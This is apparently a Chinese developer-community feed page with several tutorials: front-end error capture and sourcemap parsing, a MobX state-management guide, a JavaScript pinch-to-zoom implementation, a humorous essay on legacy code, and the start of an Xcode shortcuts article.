    _url = (err.target as HTMLImageElement).src
  }
  // 这里进行上报
  console.log(err, _url)
}
}, true) // 注意有三个参数,第三个参数表捕获阶段传播到该EventTarget时触发

2、同步代码错误 && 异步代码(setTimeout/setInterval,等);

window.onerror = (message, source, lineno, colno, error) => {
// 这里进行错误上报操作
console.log(message, source, lineno, colno, error)
}

3、异步代码错误;

// promise
window.addEventListener("unhandledrejection", (e) => {
// 这里进行上报
console.log(e.reason)
e.preventDefault() // 阻止错误冒泡
}, true)

4、框架提供的错误处理,e.g.

// vue3
app.config.errorHandler = (err, vm, info) => {
// 这里进行错误上报
console.log(err, vm, info)
}

5、xhr, fetch等异步请求方式;

// xhr
function xhr() {
const oReq = new XMLHttpRequest();
const url = "http://www.example.org/example.txt"
 
oReq.addEventListener("error", (err) => {
  console.log(err, url)
});
oReq.open("GET", url);
oReq.send();
}
// fetch
function fetchMethod() {
const url = 'http://www.example.org/example.txt'

fetch(url,
  {
    method: 'GET',
    mode: 'cors',
    cache: 'default'
  }
).then(data => {
  console.log(data)
}).catch(err => {
  // 错误处理
  console.log(url, err)
})
}

具体代码可参考 demo;

错误位置

我们的代码一般是打包压缩后的代码,错误提示的位置有时候很难定位到具体的内容,特别是很难重现的错误内容,我们常常需要更精准的错误信息进行定位。

对于以上方案以及对应的处理方式如下

1、rollup-plugin-trycatch插件wrap一层try...catch;  
在插件中已对错误记录路径,方法名等信息;  
2、远程静态资源;  
错误已记录路径信息;  
3、promise异步代码错误;  
建议自行全部加上catch处理错误;  
4、框架内部的错误处理;  
框架已提供错误定位信息(vue3, `info` is a Vue-specific error info, e.g. which lifecycle hook);  
5、xhr, fetch等;  
建议自行记录处理;  
5、同步代码错误 && 异步代码(setTimeout/setInterval,等);  
其实这个错误是主要错误之一,目前的方案是通过提前打包sourcemap来进行解析

sourcemap解析错误

这里主要介绍下如何实现解析功能(有些服务,e.g. sentry已提供sourcemap的服务,但我们是自己搭建的,所以需要自己来实现这个功能):
1、打包时候将最新的sourcemap覆盖上传到解析服务上(如果有不同版本的查询问题的需求,可以考虑多版本,我暂时没做);

现在大部分公司都是通过自动化工具(jenkins, gitlab等)在打包机进行打包编译,在打包成功后将sourcemap文件上传到解析的服务目录上即可(可以运维通过ssh上传,也可以自行搭建文件上传服务); 

2、通过source-map解析文件,返回具体错误位置;

// 需要传入参数,source, lineno, colno

解析sourcemap源码

问题记录

1、Error.prototype.stack是实验性功能,在不同浏览器,不同版本有不同的处理方式(包括try...catch, unhandledrejection等error都是Error的实例)。
可以参考stackoverflow兼容主流浏览器(未测试);
另外一种就是像我的plugin中自动化wrap try...catch方法时记录下行信息;对于promise,建议尽量全部通过catch处理(或变成同步代码async await);

2、rollup或者acorn并没有提供ast->code的方法,如何进行转换?
在修改ast后需要通过另外的插件来实现ast->code,较多人在issue里推荐的是escodegen。

3、estree-walker在jest调用时候出现module not found的问题;
用2.0.2版本是ok的, 有issue跟进

4、有一些浏览器支持但rollup尚未支持的实验属性需要慎用。

1、class 私有属性 相关issue: https://github.com/rollup/rollup/issues/4292,可以通过插件@rollup/plugin-typescript转化后使用;

参考文档

1、 React,优雅的捕获异常: juejin.cn/post/697438…
2、Allow plugin transforms to only return AST: github.com/rollup/roll…
3、source-map-demo: github.com/Joeoeoe/sou…

作者:vb
来源:https://juejin.cn/post/7046320743973388295

收起阅读 »

关于MobX,知无不言,言无不尽~

MobX 实践指南一、概览篇简介MobX 是一个专注于状态管理的库,在 React 世界的流行程度仅次于拥有官方背景的 Redux。但 MobX 有自己独特的优势,它通过运用透明的函数式响应编程使状态管理变得简单、高效、自由。MobX哲学任何源自应用状态的东西...
继续阅读 »

MobX 实践指南

一、概览篇

简介

MobX 是一个专注于状态管理的库,在 React 世界的流行程度仅次于拥有官方背景的 Redux。但 MobX 有自己独特的优势,它通过运用透明的函数式响应编程使状态管理变得简单、高效、自由。

MobX哲学

任何源自应用状态的东西都应该自动地获得。

核心原理

利用defineProperty(<=v5)或Proxy(v6)拦截对象属性的变化,实现数据的Observable,在 get 中依赖收集,set 中触发依赖绑定的监听函数。
假如你之前关注过 Vue.js、Knockout 等的一些 MVVM 框架的响应式原理,那么你应该会感到非常熟悉。是的,它们的原理如出一辙。

核心概念

不仅是原理,基础概念、顶层的 Api 设计也十分相似。Vue.js 中 data、computed、watch,几乎可以与 Mobx 中的observable-statecomputedreaction等概念一一对应。最大的不同是,MobX 通过 actions 约束对 state 的更新方式,实现了对状态的管理这一重要步骤。整体运行流程如下图所示。

alt 运行流程

安装

mobx 这个包,提供了 MobX 所有的与具体框架平台无关的基础 Api。比如(observable、makeObservable、action等)。

npm i mobx

如果在 react 中使用,需要添加针对 react 开发的包 mobx-react

npm i mobx mobx-react

如果你在 react 开发中,只使用函数式组件,没有使用类组件,那么可以将 mobx-react 替换为一个更轻量的包 mobx-react-lite

npm i mobx mobx-react-lite

相比mobx-react这个全量包,
1. 去掉了对class components的支持,
2. 并且移除了provider、inject
(原因:这两个HOC在React官方已经提供了React.createContext之后变得不是那么必要了)

二、实践篇

1. 声明Store

相比直接使用普通对象,MobX 更推荐使用的方式去创建 Store,主要原因是 class 对 TS 的类型系统更友好,更容易被索引实现自动补全等功能。

三种声明方式

方式一、直接使用普通对象的方式 (不推荐)

import { observable,action } from 'mobx'

const userStore = observable({
roleType:1
})

export const changeRoleType = action((val)=>{
userStore.roleType = val
})

export default userStore

方式二、使用类 + 装饰器 (V6 版本之前的推荐方式)

import { observable } from 'mobx'

class UserStore{
@observable roleType=1
@action changeRoleType(val){
this.data = val
}
}

export default UserStore

方式三、使用类 + makeObservable (V6 版本的推荐方式)(不再推荐装饰器的原因可以在Q&A章节找到)

import { makeObservable,observable,computed,action } from 'mobx'

class UserStore{
constructor(){
makeObservable(this,{
roleType:observable,
roleName:computed,
changeRoleType:action
})
}
roleType = 1
get roleName(){
return roleMap[roleType]
}
changeRoleType(val){
this.roleType = val
}
}
export default UserStore

//or

import { makeAutoObservable } from 'mobx'

class UserStore{
constructor(){
makeAutoObservable(this)
/* 无需显示的声明,会自动应用合适的MobX-Api去修饰。比如
(1)值字段会被推断为observable、
(2)get 修饰的方法,会推断为computed、
(3)普通方法,会自动应用action
(4)如果你有自定义调整某些字段的需求,请参考此方法的[其他入参](https://zh.mobx.js.org/observable-state.html#makeautoobservable)
*/
}
roleType = 1
get roleName(){
return roleMap[roleType]
}
changeRoleType(val){
this.roleType = val
}
}
export default UserStore

实现 store 间通信

例子:在一个角色管理的模块,因为自己拥有管理员权限,权力大到甚至能够更改自己的角色类型,那么果真这样操作时,就需要将RoleStore的修改同步到UserStore,这时就涉及到多个store间通信。
思路:创建一个公共的上级 rootStore,实现多个Store间的状态读取,方法调用。

// 用户信息Store
class UserStore{
constructor(rootStore){
this.rootStore = rootStore
makeAutoObservable(this)
}
uid = 'zyd123'
roleType = 1
changeRoleType(val){
this.roleType = val
}
}
// 角色管理Store
class RoleStore{
constructor(rootStore){
this.rootStore = rootStore
makeAutoObservable(this)
}
changeUserRoleType(uid,type){
const {userStore} = this.rootStore
//更改自己的角色类型
if(uid === userStore.uid){
//*** 同步UserStore ***
userStore.changeRoleType(type)
...
}else{
//更改别人的角色类型
...
}
}
}

// 新建一个上层rootStore,方便Stores间沟通
class RootStore {
constructor() {
this.userStore = new UserStore(this)
this.roleStore = new RoleStore(this)
}
}

const rootStore = new RootStore()
export default rootStore

2. 在React组件中使用

2.1 observer

作用:自动订阅在react组件渲染期间被使用到的可观察对象属性,当他们变化发生时,组件就会自动进行重新渲染。 前边在概览篇提到过MobX的核心能力就是能够将数据get中收集到的所有依赖,在set中一次性发布出去。在react场景中,就是要将状态与组件渲染建立联系,一旦状态变化,所有使用到此状态的组件都需要重新渲染,而这一切的关键就是observer。
用法如下:(demo:实现一个更改全局角色的功能,RoleManage组件负责更改,UserInfo组件负责展示)
src/demos/UserInfo.jsx

import { observer } from "mobx-react";
// 导入rootStore
import rootStore from './../store';
// 拿到对应的子Store
const { userStore } = rootStore;

class UserInfo extends Component {
render() {
//(1) 触发get,收集依赖(ps:当前组件已加入MobX的购物车)
const { roleName } = userStore;
return (
<Row justify="space-between">
<Col></Col>
<Col span={5} className='border'>
<Space align='center'>
<span>当前角色类型:</span>
<h2>{roleName}</h2>
</Space>
</Col>
</Row>
);
}
}
// (关键)observer HOC包裹住组件,将MobX强大的响应式更新能力赋予react组件。
export default observer(UserInfo)

src/demos/RoleManage.jsx

import rootStore from './../store'

const { userStore } = rootStore;

class RoleManage extends Component {
handleUpdateRoleType = ()=>{
//(2) 使用一个action去触发数据set,在set中发布依赖(触发组件更新,ps:Mobx要清空购物车啦)
userStore.changeRoleType(2)
}
render() {
return <Button onClick={this.handleUpdateRoleType}>更改角色</Button>
}
}
export default RoleManage;

2.2 Provider、inject

作用:刚才的例子中,大家可以看到全局Store的引入方式是文件的方式引入的。

import rootStore from './../store'

const { userStore } = rootStore;

这种方式繁琐且不利于维护,假如store文件重新组织,引入的地方需要处处更改与check。所以,有没有方式,在项目开发中Store只需一次注入,就可以在所有组件内非常便捷的引用呢?
答案就是使用 Provider、inject。
让我们重构上边的例子: src/index.jsx

import App from "./App";

import { Provider } from 'mobx-react'
import store from './store'
//利用Provider将Store注入全局
ReactDOM.render(
<Provider {...store}>
<App/>
</Provider>,
document.getElementById("root")
);

src/demos/UserInfo.jsx

class UserInfo extends Component {
render() {
//通过props的方式在render函数中引用
const { roleName } = this.props.userStore;

return (
<Row justify="space-between">
<Col></Col>
<Col span={5} className='border'>
<Space align='center'>
<span>当前角色类型:</span>
<h2>{roleName}</h2>
</Space>
</Col>
</Row>
);
}
}

// inject是高阶函数,所以inject('store')返回值还是个函数,最终入参是组件
export default inject('userStore')(observer(UserInfo))

Provider及inject看上去与react官方推出的context Api用法非常相似,要解决的问题也基本一致。
事实上,最新版的mobx-react,前者就是基于后者去做的封装,这也从侧面说明,这俩Api现在来看,并不是开发react应用的必需品。所以MobX官方在推出针对React平台的轻量包(mobx-react-lite)时,首先就把这俩api排除在外了。
但笔者认为,你如果使用的是class组件,Provider及inject依然建议使用,因为class组件内使用contextApi并不十分方便,但如果你用的hooks,则大可不必再使用Provider及inject了,得益于useContext的方便简洁,大大降低了使用他们的必要性(具体用法,后边会讲到)。

2.3 MobX + Hooks

函数组件+hooks是目前开发React应用的首选方式。MobX顺应趋势,推出了新的hook Api,这已经成为使用MobX的主流方式。

2.3.1 使用全局Store

自定义useStore替换Provider、inject 下边示例笔者会统一采用mobx-react-lite这个轻量包来编写。前边提到这个包并不提供Provider、inject,但是没有关系,有React官方提供的createContext及useContext就足够了。 下边我们自己动手封装一个好用的useStore-hook。
src/store/index.js

...

//创建rootStore的Context
export const rootStoreContext = React.createContext(rootStore)

/**
* @description 提供hook方式,方便组件内部获取Store
* @param {*} storeName 组件名字。作用类似inject(storeName),不传默认返回rootStore
*/

export const useStore = (storeName) => {
const rootStore = React.useContext(rootStoreContext)
if (storeName) {
const childStore = rootStore[storeName]
if (!childStore) {
throw new Error('根据传入storeName,找不到对应的子store')
}
return childStore
}
return rootStore
}

src/index.jsx

- import { Provider } from 'mobx-react'

+ import rootStore, {rootStoreContext} from './store'
+ const { Provider } = rootStoreContext

ReactDOM.render(
<Provider value={rootStore}>
<App/>
</Provider>,
document.getElementById("root")

src/demos/UserInfo.jsx

//换用更轻量的lite包
- import { observer } from "mobx-react";
+ import { observer } from "mobx-react-lite";
import { Row, Col, Space } from "antd";

+ import { useStore } from '../store';

// 函数式组件
const UserInfo = ()=> {
//使用自定义useStore获取全局store
const { roleName } = useStore('userStore')

return (
<Row justify="space-between">
<Col></Col>
<Col span={5} className='border'>
<Space align='center'>
<span>当前角色类型:</span>
<h2>{roleName}</h2>
</Space>
</Col>
</Row>
)
}
export default observer(UserInfo)

假如日常项目中,只希望MobX负责全局的状态管理,以上内容就完全够用了。下边我会介绍MobX+hook在局部状态管理方面的强大能力。
全局状态管理:store在组件外定义,经常放在全局一个单独的store文件夹。适合管理一些公共或者相对某模块是公共的状态。
局部状态管理:store常常定义在组件内部,适用于复杂的组件设计场景,用来解决组件多层嵌套下的状态层层传递、组件状态多且更新复杂等问题。

2.3.2 创建一个局部的Store

先介绍两个hook

useLocalObservable

作用:通过hook的方式声明一个组件内的Store,返回传入普通对象的响应式版本,并在函数组件之后的每一次渲染中保持对这个响应式对象的唯一引用(这点与useState是一致的)(useLocalStore是这个api的前身,但是将要废弃,这里不做介绍)。

useObserver

作用:前边讲的observer是HOC的方式,只能在外部通过包裹整个组件的方式去使用。想要在组件内部实现局部状态管理,在类组件中必须通过内置的Observer组件以renderProps的方式去解决,但在函数式中,hook一定是解决问题的首选,所以可以理解为useObserver是Observer的hook版实现。 示例:useLocalObservable + useObserver实现一个局部的状态管理 src/demos/UserInfoScopeStore.jsx

import { useLocalObservable, useObserver } from "mobx-react-lite";
import { Row, Col, Space,Button } from "antd";

const UserInfo = ()=> {
//定义组件内的响应式Store
const store = useLocalObservable(()=>({
name:'xxx',
changeName(text){
this.name = text
}
}))
// 对比以下两种组件内局部状态视图更新方式。
// useObserver
return useObserver(()=> <Row justify="space-between">
<Col></Col>
<Col span={5} className='border'>
<Space align='center'>
<span>当前用户:</span>
<h2>{store.name}</h2>
<Button onClick={()=>store.changeName('小米')}>修改</Button>
</Space>
</Col>
</Row>)
// or Observer
return <Observer>
{() => <Row justify="space-between">
<Col></Col>
<Col span={5} className='border'>
<Space align='center'>
<span>当前用户:</span>
<h2>{store.name}</h2>
<Button onClick={() => store.changeName('小米')}>修改</Button>
</Space>
</Col>
</Row>}
</Observer>
}
export default UserInfo

简单总结:(1)observer HOC的方式适合组件的整体更新场景(2)useObserver or Observer 都可用来处理局部的组件内更新场景,区别前者是hook的方式,只支持函数式组件,后者使用renderProps的方式,类与函数组件都兼容。

3. 开发者工具

chrome插件

三、Q&A

  1. IE项目能不能用?

V4版本默认可用,V5及以上如果需要兼容不支持Proxy的IE / React Native,请在应用初始化修改全局配置useProxies

import { configure } from "mobx"
// 如果需要兼容ie或rn,请通过全局配置,禁止使用代理
configure({ useProxies: "never" })

  1. 为什么MobX新的V6版本,不再推荐类的装饰器语法,而是建议用makeObservable的方式去修饰Store?

不再推荐装饰器的理由:因为装饰器语法尚未定案,纳入 ES 标准的时间遥遥无期,且未来制定的标准可能与当前的装饰器实现方案有所不同。所以出于兼容性,MobX 6中不推荐使用装饰器,并建议使用 makeObservable / makeAutoObservable 代替。但项目中如果使用的是 TS,笔者认为可以基本忽略影响,毕竟装饰器确实使用起来更简洁一些。

  1. 为什么我的组件并没有随着Store数据的更新而更新?

(1)忘记了observer,useObserver的包裹(大部分原因都是这个)。 (2)defineProperty的响应式方案会有一些针对数组和对象的限制,需要格外注意,必要时候需要使用mobx提供的set方法来解决。 (3)只要你始终传递响应式对象的引用,observer就可以很好的工作,如果只是传递属性值,就造成了响应式丢失,常发生在使用ES6解构的场景,或只传个响应式对象的属性进去。如果读者了解vue3,那么其中的toRefs就是为了解决类似的问题,但是Mobx中你可以通过下边的例子避免这种情况。

   //错误 ❌
const TimerView = observer(({ secondsPassed }) => <span>Seconds passed: {secondsPassed}</span>)

React.render(<TimerViewer secondPassed={myTimer.secondsPassed} />, document.body)

// 正确 🙆
const TimerView = observer(({ myTimer }) => <span>Seconds passed: {myTimer.secondsPassed}</span>)

React.render(<TimerViewer secondPassed={myTimer} />, document.body)
```

4. **必须要通过action去更新Store?**
原理上不必要,原则上必要。你直接**mutable**的方式直接更改Store也是能够触发响应式更新,但是mobx强烈不建议你这样做,因为你会丢失以下好处:
(1) 能够清晰表达出一个函数修改状态的意图,有**利于项目维护**
(2) action结合开发者工具,提供了非常**有用的调试**信息
当启用**严格模式**时,修改store状态需要强制使用action,参见全局配置enforceActions。MobX并不像redux那样,从原理上就限制了state的更新方式,只能靠这种约定的方式去限制。所以**强烈建议开启此选项**。

5. **频繁使用observer,会不会出现性能问题?**
当组件相关的 observable 发生变化时,组件将自动重新渲染,反之,它能够确保在没有相关更改时组件不会重新渲染。真正做到了组件的按需渲染,在实践中,这使得 MobX 应用程序开箱即用地进行了很好的优化,它们通常不需要任何额外的代码来防止过度渲染。

6. **MobX相比Redux最大的优势是什么?**
具体来说:MobX的开箱即用,简洁灵活,对现有项目侵入小,这都是相比Redux的优势方面。
抽象来讲:MobX相比Redux,它天然对实体模型是友好的,它在内部巧妙的借助拦截代理把数据做了observable转换,让你依然在使用层面感知到的是实体模型,但是它却拥有了响应式能力,这就是mobx最厉害的地方,它适合抽象**领域模型**!
## 结尾
以上所有例子都可在这个[github仓库](https://github.com/FEyudong/mobx-study.git)找到。
# END THANKS~

原文:


https://juejin.cn/post/6979095356302688286

收起阅读 »

js 实现双指缩放

前言随着智能手机、平板电脑等触控设备的普及,交互方式也发生了改变。相对于使用鼠标和键盘进行交互的电脑,触控设备可以直接使用手指进行交互,而且基本上都支持多点触控。多点触控最常见的操作莫过于双指缩放了。比如双指缩放网页大小、朋友圈双指缩放图片进行查看。那么如此常...
继续阅读 »

前言

随着智能手机、平板电脑等触控设备的普及,交互方式也发生了改变。相对于使用鼠标和键盘进行交互的电脑,触控设备可以直接使用手指进行交互,而且基本上都支持多点触控。多点触控最常见的操作莫过于双指缩放了。比如双指缩放网页大小、朋友圈双指缩放图片进行查看。那么如此常见的手势操作,你有没有想过它是如何实现的呢?下面跟着我一探究竟吧!

缩放原理

原理其实很简单,双指向外扩张表示放大,向内收缩表示缩小,缩放比例是通过计算双指当前的距离 / 双指上一次的距离获得的。详见下图:

p.jpg

计算出缩放比例后再通过下面两种方式实现缩放。

  1. 通过transform进行缩放
  2. 通过修改宽高来实现缩放

主流的方法都是采用transform来实现,因为性能更好。本篇文章两种方式都会介绍,任你选择。不过在讲之前,还是要先搞懂两个数学公式以及PointerEvent指针事件。因为接下来会用到。如果对PointerEvent指针事件不太熟悉的小伙伴,也可以看看这篇文章js PointerEvent指针事件简单介绍

两点间距离公式

设两个点A、B以及坐标分别为A(x1, y1)、B(x2, y2),则A和B两点之间的距离为:

e693d73856f43706273b0197b3cc42bf.svg

/**
* 获取两点间距离
* @param {object} a 第一个点坐标
* @param {object} b 第二个点坐标
* @returns
*/

function getDistance(a, b) {
const x = a.x - b.x;
const y = a.y - b.y;
return Math.hypot(x, y); // Math.sqrt(x * x + y * y);
}

中点坐标公式

设两个点A、B以及坐标分别为A(x1, y1)、B(x2, y2),则A和B两点的中点P的坐标为:

4a36acaf2edda3cce013415d11e93901203f92dc.png

/**
* 获取中点坐标
* @param {object} a 第一个点坐标
* @param {object} b 第二个点坐标
* @returns
*/

function getCenter(a, b) {
const x = (a.x + b.x) / 2;
const y = (a.y + b.y) / 2;
return { x: x, y: y };
}

获取图片缩放尺寸

<img id="image" alt="">
const image = document.getElementById('image');

let result, // 图片缩放宽高
x, // x轴偏移量
y, // y轴偏移量
scale = 1, // 缩放比例
maxScale,
minScale = 0.5;

// 由于图片是异步加载,需要在load方法里获取naturalWidth,naturalHeight
image.addEventListener('load', function () {
result = getImgSize(image.naturalWidth, image.naturalHeight, window.innerWidth, window.innerHeight);
maxScale = Math.max(Math.round(image.naturalWidth / result.width), 3);
// 图片宽高
image.style.width = result.width + 'px';
image.style.height = result.height + 'px';
// 垂直水平居中显示
x = (window.innerWidth - result.width) * 0.5;
y = (window.innerHeight - result.height) * 0.5;
image.style.transform = 'translate3d(' + x + 'px, ' + y + 'px, 0) scale(1)';
});

// 图片赋值需放在load回调之后,因为图片缓存后读取很快,有可能不执行load回调
image.src='../images/xxx.jpg';

/**
* 获取图片缩放尺寸
* @param {number} naturalWidth
* @param {number} naturalHeight
* @param {number} maxWidth
* @param {number} maxHeight
* @returns
*/

function getImgSize(naturalWidth, naturalHeight, maxWidth, maxHeight) {
const imgRatio = naturalWidth / naturalHeight;
const maxRatio = maxWidth / maxHeight;
let width, height;
// 如果图片实际宽高比例 >= 显示宽高比例
if (imgRatio >= maxRatio) {
if (naturalWidth > maxWidth) {
width = maxWidth;
height = maxWidth / naturalWidth * naturalHeight;
} else {
width = naturalWidth;
height = naturalHeight;
}
} else {
if (naturalHeight > maxHeight) {
width = maxHeight / naturalHeight * naturalWidth;
height = maxHeight;
} else {
width = naturalWidth;
height = naturalHeight;
}
}
return { width: width, height: height }
}

双指缩放逻辑

// 全局变量
let isPointerdown = false, // 按下标识
pointers = [], // 触摸点数组
point1 = { x: 0, y: 0 }, // 第一个点坐标
point2 = { x: 0, y: 0 }, // 第二个点坐标
diff = { x: 0, y: 0 }, // 相对于上一次pointermove移动差值
lastPointermove = { x: 0, y: 0 }, // 用于计算diff
lastPoint1 = { x: 0, y: 0 }, // 上一次第一个触摸点坐标
lastPoint2 = { x: 0, y: 0 }, // 上一次第二个触摸点坐标
lastCenter; // 上一次中心点坐标

// 绑定 pointerdown
image.addEventListener('pointerdown', function (e) {
pointers.push(e);
point1 = { x: pointers[0].clientX, y: pointers[0].clientY };
if (pointers.length === 1) {
isPointerdown = true;
image.setPointerCapture(e.pointerId);
lastPointermove = { x: pointers[0].clientX, y: pointers[0].clientY };
} else if (pointers.length === 2) {
point2 = { x: pointers[1].clientX, y: pointers[1].clientY };
lastPoint2 = { x: pointers[1].clientX, y: pointers[1].clientY };
lastCenter = getCenter(point1, point2);
}
lastPoint1 = { x: pointers[0].clientX, y: pointers[0].clientY };
});

// 绑定 pointermove
image.addEventListener('pointermove', function (e) {
if (isPointerdown) {
handlePointers(e, 'update');
const current1 = { x: pointers[0].clientX, y: pointers[0].clientY };
if (pointers.length === 1) {
// 单指拖动查看图片
diff.x = current1.x - lastPointermove.x;
diff.y = current1.y - lastPointermove.y;
lastPointermove = { x: current1.x, y: current1.y };
x += diff.x;
y += diff.y;
image.style.transform = 'translate3d(' + x + 'px, ' + y + 'px, 0) scale(' + scale + ')';
} else if (pointers.length === 2) {
const current2 = { x: pointers[1].clientX, y: pointers[1].clientY };
// 计算相对于上一次移动距离比例 ratio > 1放大,ratio < 1缩小
let ratio = getDistance(current1, current2) / getDistance(lastPoint1, lastPoint2);
// 缩放比例
const _scale = scale * ratio;
if (_scale > maxScale) {
scale = maxScale;
ratio = maxScale / scale;
} else if (_scale < minScale) {
scale = minScale;
ratio = minScale / scale;
} else {
scale = _scale;
}
// 计算当前双指中心点坐标
const center = getCenter(current1, current2);
// 计算图片中心偏移量,默认transform-origin: 50% 50%
// 如果transform-origin: 30% 40%,那origin.x = (ratio - 1) * result.width * 0.3
// origin.y = (ratio - 1) * result.height * 0.4
// 如果通过修改宽高或使用transform缩放,但将transform-origin设置为左上角时。
// 可以不用计算origin,因为(ratio - 1) * result.width * 0 = 0
const origin = {
x: (ratio - 1) * result.width * 0.5,
y: (ratio - 1) * result.height * 0.5
};
// 计算偏移量,认真思考一下为什么要这样计算(带入特定的值计算一下)
x -= (ratio - 1) * (center.x - x) - origin.x - (center.x - lastCenter.x);
y -= (ratio - 1) * (center.y - y) - origin.y - (center.y - lastCenter.y);
image.style.transform = 'translate3d(' + x + 'px, ' + y + 'px, 0) scale(' + scale + ')';
lastCenter = { x: center.x, y: center.y };
lastPoint1 = { x: current1.x, y: current1.y };
lastPoint2 = { x: current2.x, y: current2.y };
}
}
e.preventDefault();
});

// 绑定 pointerup
image.addEventListener('pointerup', function (e) {
if (isPointerdown) {
handlePointers(e, 'delete');
if (pointers.length === 0) {
isPointerdown = false;
} else if (pointers.length === 1) {
point1 = { x: pointers[0].clientX, y: pointers[0].clientY };
lastPointermove = { x: pointers[0].clientX, y: pointers[0].clientY };
}
}
});

// 绑定 pointercancel
image.addEventListener('pointercancel', function (e) {
if (isPointerdown) {
isPointerdown = false;
pointers.length = 0;
}
});

/**
* 更新或删除指针
* @param {PointerEvent} e
* @param {string} type
*/

function handlePointers(e, type) {
for (let i = 0; i < pointers.length; i++) {
if (pointers[i].pointerId === e.pointerId) {
if (type === 'update') {
pointers[i] = e;
} else if (type === 'delete') {
pointers.splice(i, 1);
}
}
}
}

注意事项

由于transform书写顺序并不满足交换律,换句话说transform: translateX(300px) scale(2);和transform: scale(2) translateX(300px);是不相等的。开发时请根据相应的书写顺序做处理。详见下图:

微信图片_20210802192116.png


原文:https://juejin.cn/post/7020243158529212423

收起阅读 »

为什么祖传代码会被称为屎山

有一天,有几条虫子,干扰了老板赚钱,老板希望你能抓住它们。 你带着年轻的锐气,青春的活力,学艺多年积累的程序设计艺术,打开了公司的代码仓库。 远看,似乎一个运转的机器,巨大的代码堆积在一起形成了大致的轮廓,蠕动着前进。 凑近了一看,在不净的框架中,乱码般的语句...
继续阅读 »

有一天,有几条虫子,干扰了老板赚钱,老板希望你能抓住它们。


你带着年轻的锐气,青春的活力,学艺多年积累的程序设计艺术,打开了公司的代码仓库。


远看,似乎一个运转的机器,巨大的代码堆积在一起形成了大致的轮廓,蠕动着前进。


凑近了一看,在不净的框架中,乱码般的语句在运转,像生了麻风病的蛞蝓一样在喷吐,粘稠的水在流动,而穿着格子衫的人群则在焰柱旁围成了一个半圆,这就是码农的仪式。他们环绕着那不可名状植物,不断的伸手进去拨弄,又不断的掏出一些东西填上去,使他堆积的更高,为了防止到他,又掏出黏糊糊的糊糊,用力的涂抹,试图把它们黏在一起。


这是一个前人留下的屎堆起来的一个克苏鲁缝合怪,看起来摇摇欲坠,有无数的虫子爬来爬去。但勉强堆起了山一样的形体,蠕动着为老板赚钱。



你满心热血,要对这座山进行清理,使它成为一个鲁棒的钢铁巨兽,可以随时更换最新的部件,奔腾如飞,坚固异常,带着兄弟们走向人生巅峰。


你经过缜密的分析,顺着虫子留下的痕迹,终于找到了问题的源头,发现一坨很多年前某码农因为时代局限或者水平有限拉的陈年旧屎,你觉得只要对它改良一下,梳理清楚结构,加强判断与容错,就可以变化成一个钢铁部件,让这坨怪物离巨兽更近一步。


你用力的挖掘其中的信息,却发现,事情没有那么简单,这一坨实际上不是孤立的一坨,而是和整个山体融合在一起。或者说,这座山实际上是一坨坨粘稠滑腻的克苏鲁,通过无数的触角和粘液连接在了一起,这些克苏鲁伸出无数的触角,伸进这座山体中未知的角落。


有看起来结构相同,但是出现了几十上百次的重复逻辑。有无数道不知道伸向何处的判断分支。有七零八落到处都是又无法解释的神秘数字。有从表面直接伸向最底层的神秘调用。还有猜不出,看不懂,无法预计什么时候会触发,什么时候会爆发的无数定时器。还有无数神秘的线程在独立的挂在那里,猜不出哪个什么时候会忽然启动,什么时候会忽然挂起,什么时候会忽然互相抢资源而死锁,哪些资源会莫名其妙的被改动。神秘的链接,神秘的任务队列,神秘的池,神秘的环形缓存,神秘的堆栈。


他们耦合在一起,互相支撑,构成了一坨更大的克苏鲁屎怪,缓慢的蠕动。


你极其困难的清理和修改了其中的一点点内容,让这一点点的内容脱离出耦合态,看起来清晰一点。结果,忽然屎山对面十万八千行外,你永远意想不到的一块功能,忽然挂了。一个你完全在工作上没接触过的同事,通过他的盘查,发现是他维护的一个函数/方法、类、线程、内存块,池,和你改动的部分是深度耦合的,你的解耦导致了难以理解的错误使他们的部分产生了错误。于是你被骂了,你只能再退一步,在一个更小的范围内进行调整,但是发现,虫子不止是由这一块构成的,于是你追踪者虫子的足迹,去改良一个一个的模块。


在经历了一轮又一轮的批评,几乎结识了全公司所有模块的负责人之后,你终于抓住了一条虫子。但是在这个漫长的过程中,你早已忘却初心。在无数次的赶工加班熬夜的迷糊中,被同事老板挨骂后的愤懑中,表白失败/和女朋友吵架/发现自己头顶有点绿的低落中;无数次当做临时代码写下,计划单元测试完成后就重写却忘记的过程中,因为偷懒或者不舍得打断思路而而懒得抽出轮子而产生的超大代码块中。


留下了无数看起来结构相同,但是出现了几十上百次的重复逻辑。无数道不知道伸向何处的判断分支。大量的无法解释的神秘数字。从表面直接伸向最底层的神秘调用。猜不出,看不懂,无法预计什么时候会触发,什么时候会爆发的无数定时器。无数猜不出哪个什么时候会忽然启动,什么时候会忽然挂起,什么时候会忽然互相抢资源而死锁,莫名其妙改动资源的神秘线程。神秘的链接,神秘的任务队列,神秘的池,神秘的环形缓存,神秘的堆栈。


你要抓的哪条虫子确实抓出来了。然而,在你没看到的地方,随着运转,更多的新的虫子正在茁壮的成长。


这时,你突然发现你的脚抽不出来了,几条触手顺着你的腿向上攀延,你的手被深深地吸入泥沼一样的屎山,你使尽全力想要抽出胳膊,但越是挣扎,陷得越深,仿佛屎山中心有一个冰冷的黑洞,要将所有接近的物体吞噬殆尽。你的精气在一点点流失,一种极度的疲惫,但是又释然的感觉涌了上来。此刻,你觉得舒适又满足,渐渐地闭上了双眼,你甘愿奉献头发与生命,将自己化作一块补丁,维系着系统的苟延残喘。它再也没法离开你了,你和你的头发,成了它的一部分。


不知道过了多久。终于又有一条虫子在运行中暴露,干扰了老板赚钱。


老板又安排了一个年轻人来抓住这条虫子。这个年轻人带着锐气,青春和活力来到这座山前。


看到这摇摇欲坠的克苏鲁大山,不仅倒吸一口冷气。


“oh shit ! shit mountain !”



作者:码农出击666
链接:https://juejin.cn/post/7045924498461163533

收起阅读 »

[翻译]你不可错过的 10 个 Xcode 技巧和快捷键

iOS
原文地址:10 Tips and Shortcuts You Should Be Using Right Now in Xcode 原文作者:Mike Pesate 译文出自:掘金翻译计划 本文永久链接:github.com/xitu/gold-m… 译者:F...
继续阅读 »


你不可错过的 10 个 Xcode 技巧和快捷键


Image source: Author


在我作为 iOS 开发人员的职业生涯中,养成了一些使得工作变得更加轻松快捷的 Xcode 习惯。很多好用的快捷键一直都存在,只是我们没有发现而已。


所以我收集了一些我最喜欢的,在这里和大家分享。


我们开始吧!


1. 快速自动缩进


当你的代码没有对齐时,这个快捷键非常有用。



control + i / ⌃ + i



它会自动缩进光标所在的行。如果你选中了一些代码,甚至整个文件,这个快捷键就会调整选中部分的缩进。


Demo of ⌃ + i


